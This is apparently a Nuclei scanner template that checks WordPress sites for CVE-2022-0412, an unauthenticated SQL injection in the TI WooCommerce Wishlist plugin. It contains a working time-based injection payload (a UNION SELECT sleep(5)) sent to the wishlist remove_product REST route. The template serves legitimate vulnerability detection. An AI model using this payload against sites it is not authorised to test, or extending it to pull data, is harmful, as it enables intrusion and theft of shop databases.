30 lines
1.1 KiB
YAML
30 lines
1.1 KiB
YAML
|
id: CVE-2022-0412
|
||
|
|
||
|
info:
|
||
|
name: TI WooCommerce Wishlist WP plugin - SQL Injection
|
||
|
author: edoardottt
|
||
|
severity: critical
|
||
|
description: |
|
||
|
The TI WooCommerce Wishlist WordPress plugin before 1.40.1, TI WooCommerce Wishlist Pro WordPress plugin before 1.40.1 do not sanitise and escape the item_id parameter before using it in a SQL statement via the wishlist/remove_product REST endpoint, allowing unauthenticated attackers to perform SQL injection attacks.
|
||
|
reference:
|
||
|
- https://wpscan.com/vulnerability/e984ba11-abeb-4ed4-9dad-0bfd539a9682
|
||
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-0412
|
||
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0412
|
||
|
classification:
|
||
|
cve-id: CVE-2022-0412
|
||
|
tags: cve,woocommerce,wordpress,wordpressplugin,cve2022,sqli
|
||
|
|
||
|
requests:
|
||
|
- method: GET
|
||
|
path:
|
||
|
- "{{BaseURL}}/?rest_route=/wc/v3/wishlist/remove_product/1&item_id=0%20union%20select%20sleep(5)%20--%20g"
|
||
|
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: dsl
|
||
|
dsl:
|
||
|
- 'duration>=5'
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|